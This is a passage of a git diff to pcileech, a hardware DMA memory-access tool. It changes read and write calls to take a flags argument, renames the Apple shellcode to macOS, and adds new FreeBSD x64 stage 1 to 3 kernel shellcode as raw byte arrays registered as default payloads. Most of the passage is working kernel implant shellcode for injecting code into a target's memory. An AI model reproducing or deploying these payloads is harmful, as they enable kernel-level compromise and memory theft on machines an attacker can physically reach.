phKMD->status->dataOutExtraOffset), pbBuffer, cbMaxBufferSize)) { + !DeviceReadDMA(pDeviceData, phKMD->status->DMAAddrPhysical + phKMD->status->dataOutExtraOffset, pbBuffer, cbMaxBufferSize, 0)) { printf("EXEC: Error reading output.\n"); goto fail; } diff --git a/pcileech/memdump.c b/pcileech/memdump.c index 134d16c..818069e 100644 --- a/pcileech/memdump.c +++ b/pcileech/memdump.c @@ -59,7 +59,7 @@ VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) return; } pFileBuffer->hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); - if(!pFileBuffer->hFile) { + if(!pFileBuffer->hFile || pFileBuffer->hFile == INVALID_HANDLE_VALUE) { printf("Memory Dump: Failed. Error writing to file.\n"); return; } @@ -119,9 +119,9 @@ VOID ActionMemoryPageDisplay(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) QWORD qwAddr = pCfg->qwAddrMin & 0x0fffffffffffff000; BOOL result; printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); - result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096); + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0); if(!result) { - result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096); + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0); } if(!result) { printf("Memory Page Read: Failed.\n"); @@ -141,12 +141,12 @@ VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("Memory Test Read: Failed. Memory test may not run in KMD mode.\n"); return; } - DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096); + DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0); // READ DMA printf("Memory Test Read: starting, reading %i times from address: 0x%08x\n", dwRuns, dwAddrPci32); - DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096); + DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0); for(i = 0; i < dwRuns; i++) { - r1 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096); + r1 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096, 0); if(!r1 || (dwOffset = Util_memcmpEx(pb1, pb2, 4096))) { printf("Memory Test Read: Failed. DMA failed / data changed by target computer / memory corruption. Read: %i. Run: %i. Offset: 0x%03x\n", r1, i, (r1 ? --dwOffset : 0)); return; @@ -159,15 +159,15 @@ VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("Memory Test Write: starting, reading/writing %i times from address: 0x%08x\n", dwRuns, dwAddrPci32); for(i = 0; i < dwRuns; i++) { Util_GenRandom(pb3, 4096); - r1 = DeviceWriteDMA(pDeviceData, dwAddrPci32, pb3, 4096); - r2 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096); + r1 = DeviceWriteDMA(pDeviceData, dwAddrPci32, pb3, 4096, 0); + r2 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096, 0); if(!r1 || !r2 || (dwOffset = Util_memcmpEx(pb2, pb3, 4096))) { - DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096); + DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0); printf("Memory Test Write: Failed. DMA failed / data changed by target computer / memory corruption. Write: %i. Read: %i. Run: %i. Offset: 0x%03x\n", r1, r2, i, --dwOffset); return; } } - DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096); + DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0); printf("Memory Test Write: Success!\n"); } } @@ -183,7 +183,7 @@ VOID ActionMemoryWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("Memory Write: Failed. Data too large: >16MB.\n"); return; } - result = DeviceWriteMEM(pDeviceData, pCfg->qwAddrMin, pCfg->pbIn, (DWORD)pCfg->cbIn); + result = DeviceWriteMEM(pDeviceData, pCfg->qwAddrMin, pCfg->pbIn, (DWORD)pCfg->cbIn, 0); if(!result) { printf("Memory Write: Failed. Write failed (partial memory may be written).\n"); return; diff --git a/pcileech/mempatch.c b/pcileech/mempatch.c index 22b075f..687a46a 100644 --- a/pcileech/mempatch.c +++ b/pcileech/mempatch.c @@ -119,7 +119,7 @@ VOID ActionPatchAndSearch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) continue; } if(isModePatch) { - result = DeviceWriteMEM(pDeviceData, qwAddrBase + qwoPages + dwoPatch, pbBuffer16M + qwoPages + dwoPatch, cbPatch); + result = DeviceWriteMEM(pDeviceData, qwAddrBase + qwoPages + dwoPatch, pbBuffer16M + qwoPages + dwoPatch, cbPatch, 0); } if(result) { if(cPatchList == MAX_NUM_PATCH_LOCATIONS) { diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 9539002..a44e6fa 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -129,7 +129,7 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg) strcpy_s(pCfg->szSignatureName, MAX_PATH, argv[i + 1]); } else if(0 == strcmp(argv[i], "-kmd")) { pCfg->qwKMD = strtoull(argv[i + 1], NULL, 16); - if(pCfg->qwKMD == 0) { + if(pCfg->qwKMD < 0x1000) { strcpy_s(pCfg->szKMDName, MAX_PATH, argv[i + 1]); } } else if(2 == strlen(argv[i]) && '0' <= argv[i][1] && '9' >= argv[i][1]) { // -0..9 param diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index 6318340..9476ed7 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -356,11 +356,11 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0x5e, 0xc3 }; -const BYTE APPLE_X64_STAGE1_BIN[] = { +const BYTE MACOS_STAGE1_BIN[] = { 0xe8, 0xfb, 0xff, 0xff, 0xff }; -const BYTE APPLE_X64_STAGE2_BIN[] = { +const BYTE MACOS_STAGE2_BIN[] = { 0xeb, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x83, 0xe8, 0x05, 0x50, 0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0x0f, 0x20, @@ -424,7 +424,7 @@ const BYTE APPLE_X64_STAGE2_BIN[] = { 0x65, 0x6c, 0x5f, 0x6d, 0x61, 0x70, 0x00 }; -const BYTE APPLE_X64_STAGE3_BIN[] = { +const BYTE MACOS_STAGE3_BIN[] = { 0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xf0, 0x48, 0x8d, 0x0d, 0xe9, 0xef, 0xff, 0xff, 0xc8, 0x20, 0x00, 0x00, 0xe8, 0x30, 0x03, 0x00, 0x00, 0xc9, 0xc3, 0x51, 0x48, @@ -498,7 +498,7 @@ const BYTE APPLE_X64_STAGE3_BIN[] = { 0x30, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x4c, 0x8d, 0xb1, 0x00, 0x03, - 0x00, 0x00, 0x48, 0xc7, 0x41, 0x50, 0x03, 0x00, 0x00, 0x00, 0x48, 0xb8, + 0x00, 0x00, 0x48, 0xc7, 0x41, 0x50, 0x04, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x89, 0x01, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0x49, 0x08, 0x33, 0xf6, 0xe8, 0x6a, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, @@ -545,10 +545,10 @@ const BYTE APPLE_X64_STAGE3_BIN[] = { 0x75, 0x17, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, - 0x3b, 0xc4, 0x77, 0x65, 0x33, 0xd2, 0x4d, 0x8d, 0x86, 0x00, 0x20, 0x00, - 0x00, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x03, 0xca, 0x48, 0x81, 0xc2, 0x00, - 0x10, 0x00, 0x00, 0x48, 0x83, 0xc9, 0x03, 0x49, 0x89, 0x08, 0x4d, 0x8d, - 0x40, 0x08, 0x49, 0x3b, 0xd5, 0x72, 0xe2, 0xe8, 0x76, 0xfc, 0xff, 0xff, + 0x3b, 0xc4, 0x77, 0x65, 0x33, 0xc9, 0x49, 0x8d, 0x96, 0x00, 0x20, 0x00, + 0x00, 0x48, 0x8b, 0x43, 0x40, 0x48, 0x03, 0xc1, 0x48, 0x81, 0xc1, 0x00, + 0x10, 0x00, 0x00, 0x48, 0x83, 0xc8, 0x03, 0x48, 0x89, 0x02, 0x48, 0x8d, + 0x52, 0x08, 0x49, 0x3b, 0xcd, 0x72, 0xe2, 0xe8, 0x76, 0xfc, 0xff, 0xff, 0x4c, 0x8b, 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x0f, 0x49, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x80, 0xee, 0xff, 0xff, 0x48, 0x8b, 0xd7, 0xeb, 0x0d, 0x4c, @@ -575,6 +575,144 @@ const BYTE APPLE_X64_STAGE3_BIN[] = { 0xc3 }; +const BYTE FREEBSD_X64_STAGE1_BIN[] = { + 0xe8, 0xfb, 0xff, 0xff, 0xff +}; + +const BYTE FREEBSD_X64_STAGE2_BIN[] = { + 0xeb, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x83, 0xe8, + 0x05, 0x50, 0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0x41, 0x54, + 0x41, 0x55, 0x41, 0x56, 0x48, 0x8b, 0x15, 0xd9, 0xff, 0xff, 0xff, 0x48, + 0x89, 0x10, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0xc5, 0xff, 0xff, + 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x15, 0x8b, 0x05, 0xc7, 0xff, 0xff, + 0xff, 0x4c, 0x8d, 0x35, 0xb0, 0xff, 0xff, 0xff, 0x4c, 0x03, 0xf0, 0xe8, + 0x0f, 0x00, 0x00, 0x00, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x41, 0x59, + 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0xeb, 0x00, + 0x00, 0x00, 0xe8, 0x8f, 0x00, 0x00, 0x00, 0x4d, 0x33, 0xc0, 0xb9, 0x00, + 0x10, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x80, 0x48, 0x33, 0xf6, 0xbf, + 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x4c, 0x8b, 0x68, 0x30, 0x49, 0xbc, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x4d, 0x03, 0xe5, 0x49, + 0x8b, 0xfc, 0xe8, 0xa9, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x48, 0x8d, 0x05, + 0xf1, 0xff, 0xff, 0xff, 0x48, 0x49, 0x89, 0x84, 0x24, 0x00, 0x10, 0x00, + 0x00, 0x48, 0xb8, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xf0, 0x49, + 0x89, 0x84, 0x24, 0x08, 0x10, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0xa0, 0x00, + 0x00, 0x00, 0xe8, 0x2f, 0x00, 0x00, 0x00, 0x6a, 0x00, 0xbf, 0x00, 0x10, + 0x00, 0x00, 0x49, 0x03, 0xfc, 0x57, 0x48, 0x8d, 0x3d, 0x97, 0x00, 0x00, + 0x00, 0x57, 0x48, 0x8b, 0xfc, 0xff, 0xd0, 0x58, 0x58, 0x58, 0x4d, 0x89, + 0x74, 0x24, 0x58, 0x44, 0x89, 0x2d, 0x0a, 0xff, 0xff, 0xff, 0xc6, 0x05, + 0x02, 0xff, 0xff, 0xff, 0x66, 0xc3, 0x49, 0x8b, 0xce, 0x48, 0x83, 0xe9, + 0x08, 0x48, 0x83, 0xe9, 0x18, 0x48, 0x8b, 0x01, 0x48, 0x85, 0xc0, 0x74, + 0x14, 0x8b, 0x31, 0x49, 0x03, 0xf6, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x48, + 0x85, 0xc0, 0x75, 0xe5, 0x48, 0x8b, 0x41, 0x08, 0xc3, 0x48, 0x33, 0xc0, + 0xc3, 0x51, 0x48, 0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1, 0x8a, + 0x04, 0x39, 0x3a, 0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1, 0x48, + 0x33, 0xc0, 0x59, 0xc3, 0xb0, 0x01, 0x59, 0xc3, 0x48, 0x33, 0xc0, 0xb9, + 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0x76, 0x6d, 0x5f, + 0x70, 0x68, 0x79, 0x73, 0x5f, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x63, + 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, + 0x64, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 0x70, 0x63, 0x69, 0x6c, + 0x65, 0x65, 0x63, 0x68, 0x00 +}; + +const BYTE FREEBSD_X64_STAGE3_BIN[] = { + 0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, + 0xf8, 0x00, 0x74, 0xf0, 0x48, 0x8d, 0x0d, 0xe9, 0xef, 0xff, 0xff, 0xc8, + 0x20, 0x00, 0x00, 0xe8, 0xd0, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x51, 0x48, + 0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1, 0x8a, 0x04, 0x39, 0x3a, + 0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1, 0x48, 0x33, 0xc0, 0x59, + 0xc3, 0xb0, 0x01, 0x59, 0xc3, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x48, 0x8b, + 0x49, 0x58, 0x48, 0x8b, 0xd1, 0x48, 0x83, 0xe9, 0x08, 0x48, 0x83, 0xe9, + 0x18, 0x48, 0x8b, 0x01, 0x48, 0x85, 0xc0, 0x74, 0x16, 0x8b, 0x31, 0x48, + 0x03, 0xf2, 0xe8, 0xbb, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0xe5, + 0x48, 0x8b, 0x41, 0x08, 0x5e, 0x5f, 0xc3, 0x48, 0x33, 0xc0, 0x5e, 0x5f, + 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x4c, 0x8b, 0xe4, + 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x49, 0xc7, 0xc5, 0x38, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x05, 0x65, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, + 0x68, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x6d, 0x00, 0x00, 0x00, + 0x50, 0x48, 0x8d, 0x05, 0x6c, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, + 0x6b, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x6d, 0x00, 0x00, 0x00, + 0x50, 0x48, 0x8d, 0x05, 0x7a, 0x00, 0x00, 0x00, 0x50, 0x49, 0x83, 0xed, + 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0x6b, 0xff, 0xff, 0xff, 0x48, 0x85, + 0xc0, 0x74, 0x13, 0x4b, 0x89, 0x44, 0x35, 0x00, 0x4d, 0x85, 0xed, 0x75, + 0xe4, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x03, 0x48, 0x33, + 0xc0, 0x49, 0x8b, 0xe4, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, + 0xc3, 0x64, 0x75, 0x6d, 0x70, 0x5f, 0x61, 0x76, 0x61, 0x69, 0x6c, 0x00, + 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x65, 0x78, 0x69, 0x74, + 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x6d, 0x65, 0x6d, 0x73, + 0x65, 0x74, 0x00, 0x70, 0x61, 0x75, 0x73, 0x65, 0x5f, 0x73, 0x62, 0x74, + 0x00, 0x76, 0x6d, 0x5f, 0x70, 0x68, 0x79, 0x73, 0x5f, 0x61, 0x6c, 0x6c, + 0x6f, 0x63, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x00, 0x76, 0x6d, + 0x5f, 0x70, 0x68, 0x79, 0x73, 0x5f, 0x66, 0x72, 0x65, 0x65, 0x5f, 0x63, + 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x41, + 0x56, 0x41, 0x57, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, + 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8b, + 0x4c, 0x24, 0x58, 0x4c, 0x8b, 0xfc, 0x4c, 0x8b, 0x74, 0x24, 0x78, 0x41, + 0x56, 0x4c, 0x8b, 0x74, 0x24, 0x78, 0x41, 0x56, 0x4c, 0x8b, 0x74, 0x24, + 0x78, 0x41, 0x56, 0x4c, 0x8b, 0x74, 0x24, 0x78, 0x41, 0x56, 0xff, 0xd0, + 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, + 0x4c, 0x8b, 0x51, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x91, 0x00, 0x03, + 0x00, 0x00, 0x4c, 0x8b, 0xc9, 0x4c, 0x2b, 0xd2, 0x48, 0x8b, 0x02, 0x48, + 0x85, 0xc0, 0x75, 0x06, 0x48, 0x39, 0x42, 0x08, 0x74, 0x19, 0x49, 0x89, + 0x04, 0x12, 0x49, 0xff, 0xc0, 0x48, 0x8b, 0x4a, 0x08, 0x48, 0x2b, 0x0a, + 0x49, 0x89, 0x4c, 0x12, 0x08, 0x48, 0x83, 0xc2, 0x10, 0xeb, 0xd9, 0x49, + 0xc1, 0xe0, 0x04, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x4d, 0x89, 0x41, 0x48, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x41, 0x54, 0x41, 0x56, 0x41, + 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, + 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x08, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x91, 0x00, 0x03, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8b, 0xd9, + 0x33, 0xff, 0xe8, 0x4a, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8, + 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x0e, 0x02, 0x00, + 0x00, 0x48, 0x21, 0x7c, 0x24, 0x28, 0x41, 0xbe, 0x00, 0x10, 0x00, 0x00, + 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x00, 0x00, + 0xf0, 0x45, 0x8b, 0xcf, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x00, 0x01, + 0x41, 0x8b, 0xd6, 0x44, 0x89, 0x74, 0x24, 0x20, 0x45, 0x33, 0xc0, 0xe8, + 0xe2, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x34, + 0x48, 0x21, 0x7c, 0x24, 0x28, 0x45, 0x8b, 0xcf, 0x48, 0x8b, 0x8b, 0x28, + 0x03, 0x00, 0x00, 0x45, 0x33, 0xc0, 0xba, 0x00, 0x04, 0x00, 0x00, 0x44, + 0x89, 0x74, 0x24, 0x20, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, + 0xe8, 0xb1, 0xfe, 0xff, 0xff, 0x48, 0x21, 0x7b, 0x18, 0xb8, 0x02, 0x00, + 0x00, 0xf0, 0xeb, 0x88, 0x48, 0x8b, 0x40, 0x30, 0x49, 0xbc, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x48, 0x89, 0x43, 0x20, 0x41, 0xbe, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x46, 0x30, 0x49, 0x0b, 0xc4, 0x48, + 0x89, 0x43, 0x28, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, + 0x73, 0x30, 0x48, 0x85, 0xc0, 0x75, 0x36, 0x49, 0x03, 0xfe, 0x48, 0xb8, + 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00, 0x00, 0x00, 0x48, 0x3b, 0xf8, 0x76, + 0xde, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8d, 0x15, 0xfe, 0x0c, + 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0x45, 0x33, 0xc9, + 0x41, 0xb8, 0x37, 0x89, 0x41, 0x00, 0xe8, 0x3f, 0xfe, 0xff, 0xff, 0xeb, + 0xba, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, + 0x03, 0x0f, 0x84, 0xe3, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, + 0x0f, 0x48, 0x8b, 0xcb, 0xe8, 0x6b, 0xfe, 0xff, 0xff, 0x48, 0x63, 0xc8, + 0x48, 0x89, 0x4b, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, + 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, + 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c, 0x89, + 0x73, 0x38, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x1f, 0x4c, + 0x8b, 0x43, 0x40, 0x4c, 0x8b, 0x4b, 0x48, 0x4d, 0x0b, 0xc4, 0x48, 0x8b, + 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0xe8, 0xd0, 0xfd, + 0xff, 0xff, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, + 0x00, 0x02, 0x75, 0x1f, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0x4b, 0x48, + 0x49, 0x0b, 0xd4, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x8b, 0x10, 0x03, + 0x00, 0x00, 0xe8, 0xa7, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0x73, 0x38, 0x48, + 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, + 0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, + 0x10, 0x03, 0x00, 0x00, 0xe8, 0x81, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0x73, + 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, + 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, + 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x4c, + 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x33, + 0xff, 0xe9, 0xc5, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, + 0xd6, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, + 0x4c, 0x89, 0x7b, 0x30, 0xe8, 0x2d, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, + 0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, + 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, + 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xe8, 0x07, 0xfd, 0xff, 0xff, 0x48, + 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x48, 0x8b, 0x7c, + 0x24, 0x60, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, + 0xc3 +}; + const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = { {.sz = "DEFAULT_WINX64_STAGE1",.pb = (PBYTE)WINX64_STAGE1_BIN,.cb = sizeof(WINX64_STAGE1_BIN)}, {.sz = "DEFAULT_WINX64_STAGE2",.pb = (PBYTE)WINX64_STAGE2_BIN,.cb = sizeof(WINX64_STAGE2_BIN)}, @@ -582,9 +720,12 @@ const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = { {.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE2",.pb = (PBYTE)LINUX_X64_STAGE2_BIN,.cb = sizeof(LINUX_X64_STAGE2_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE3",.pb = (PBYTE)LINUX_X64_STAGE3_BIN,.cb = sizeof(LINUX_X64_STAGE3_BIN)}, - {.sz = "DEFAULT_APPLE_X64_STAGE1",.pb = (PBYTE)APPLE_X64_STAGE1_BIN,.cb = sizeof(APPLE_X64_STAGE1_BIN)}, - {.sz = "DEFAULT_APPLE_X64_STAGE2",.pb = (PBYTE)APPLE_X64_STAGE2_BIN,.cb = sizeof(APPLE_X64_STAGE2_BIN)}, - {.sz = "DEFAULT_APPLE_X64_STAGE3",.pb = (PBYTE)APPLE_X64_STAGE3_BIN,.cb = sizeof(APPLE_X64_STAGE3_BIN)} + {.sz = "DEFAULT_MACOS_STAGE1",.pb = (PBYTE)MACOS_STAGE1_BIN,.cb = sizeof(MACOS_STAGE1_BIN)}, + {.sz = "DEFAULT_MACOS_STAGE2",.pb = (PBYTE)MACOS_STAGE2_BIN,.cb = sizeof(MACOS_STAGE2_BIN)}, + {.sz = "DEFAULT_MACOS_STAGE3",.pb = (PBYTE)MACOS_STAGE3_BIN,.cb = sizeof(MACOS_STAGE3_BIN)}, + {.sz = "DEFAULT_FREEBSD_X64_STAGE1",.pb = (PBYTE)FREEBSD_X64_STAGE1_BIN,.cb = sizeof(FREEBSD_X64_STAGE1_BIN)}, + {.sz = "DEFAULT_FREEBSD_X64_STAGE2",.pb = (PBYTE)FREEBSD_X64_STAGE2_BIN,.cb = sizeof(FREEBSD_X64_STAGE2_BIN)}, + {.sz = "DEFAULT_FREEBSD_X64_STAGE3",.pb = (PBYTE)FREEBSD_X64_STAGE3_BIN,.cb = sizeof(FREEBSD_X64_STAGE3_BIN)} }; #endif /* __SHELLCODE_H__ */ \ No newline at end of file diff --git a/pcileech/util.c b/pcileech/util.c index ab68113..294e50a 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -17,30 +17,30 @@ BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _I BOOL result; QWORD qwEntry, qwAddr; // retrieve PML4 - 